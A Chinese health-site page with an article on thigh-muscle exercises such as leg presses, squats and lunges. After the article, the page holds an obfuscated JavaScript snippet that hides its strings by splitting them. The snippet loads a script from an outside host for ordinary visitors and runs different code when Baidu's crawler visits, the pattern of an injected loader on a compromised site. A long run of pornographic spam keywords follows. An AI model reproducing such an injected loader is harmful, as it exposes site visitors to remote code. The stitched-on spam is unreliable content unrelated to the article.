當前位置:首頁 > 健康 > 運動健身 > 正文

大腿肌肉如何鍛煉呢

2017-06-12 16:31:45  來源:360常識網   熱度:
導語:我們大家都知道下身是肌肉最容易堆積的地方。如果脂肪不及時消耗長時間就會形成贅肉。因此如何把贅肉變成肌肉更顯得重要。很多想鍛煉大腿肌

我們大家都知道下身是肌肉最容易堆積的地方。如果脂肪不及時消耗長時間就會形成贅肉。因此如何把贅肉變成肌肉更顯得重要。很多想鍛煉大腿肌肉的朋友們都不知道方法,因此下面就為大家介紹一些鍛煉大腿肌肉的方法,希望能對大家有所幫助:

在健美鍛煉實踐中,約定俗成以它們為腿部功能代表性和形態代表性的目標肌群。不僅是因為它們的體積相對較大、可操作性較強,還因為它們在接受鍛煉,克阻做功的同時并不排斥位置、功能相同,相近的其他肌群接受同一鍛煉刺激。這種用某一肌群涵蓋某一部位,某組肌群的現象和說法在健美鍛煉中比比皆是,已成共識。

(1)坐姿水平蹬腿 :大強度深蹲前熱身練習,安全可靠。

(2)斜臥負重腿舉 :是股四頭肌集中訓練的經典動作,深蹲由于下蹲時腰部壓力大,而斜臥負重腿舉則可避免這一不足,因此可用來沖擊大重量。

(3)杠鈴深蹲 :就是傳統深蹲動作,相比頸前杠鈴深蹲,頸后深蹲承受重量大、更安全;既能發達股四頭肌,也能發達臀肌,因此是一般人的首選。

(4)史密斯深蹲 :史密斯機深蹲在運動過程中身體垂直面的運動軌跡是由史密斯機固定,比較安全。

(5)哈克深蹲 :是腿部力量訓練的最佳動作之一,和史密斯機深蹲一樣都屬于固定器械的深蹲。

(6)坐姿腿屈伸 :是比較理想的用于雕塑股四頭肌的形狀和線條動作,通過此動作會讓大腿前側的肌肉線條更加清晰。

(7)箭步蹲 :箭步蹲可用杠鈴也可用啞鈴,是一項綜合性練習

鍛煉大腿肌肉的方法有很多,很多簡單的方法都可以鍛煉大腿肌肉。但是大家不能盲目練習,應該根據自己的實際情況選擇適合自己的運動。以上就是為大家準備的一些關于如何鍛煉大腿肌肉的方法,有需要的朋友們可以嘗試一下。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产精品久久久久久影院| 色欲久久久久久综合网精品| 国产精品无码日韩欧| 国产精品嫩草影院一二三区| 国产99视频精品草莓免视看| 妇女自拍偷自拍亚洲精品| 国产精品久久久久久久久久免费 | 亚洲国产精品自在线一区二区 | 久久99精品久久久| 国产精品兄妹在线观看麻豆| 国产一区麻豆剧传媒果冻精品 | 久久久久亚洲精品无码网址 | 成人区人妻精品一区二区不卡视频| 国产精品久久久精品三级| 成人久久伊人精品伊人| 欧洲精品在线观看| 国产自产拍精品视频免费看| 国产精品素人福利| 国产AV一区二区精品凹凸| 精品一区二区AV天堂| 亚洲?V无码乱码国产精品| 国产精品熟女福利久久AV| 久久精品国产亚洲7777| 色噜噜亚洲精品中文字幕| 国产色婷婷五月精品综合在线| 日本人精品video黑人| 国产成人精品免费久久久久| 亚洲国产精品lv| 亚欧在线精品免费观看一区| 精品一区二区视频在线观看| 久久精品国产亚洲AV未满十八 | 最新69国产成人精品免费视频动漫 | 亚洲综合一区二区精品久久| 精品91自产拍在线| 久久精品国内一区二区三区| 国产精品午夜电影| 久久国产美女免费观看精品| 国产三级精品三级在线专区1| 日韩精品无码中文字幕一区二区| 91精品国产91久久| 精品国产一区二区三区|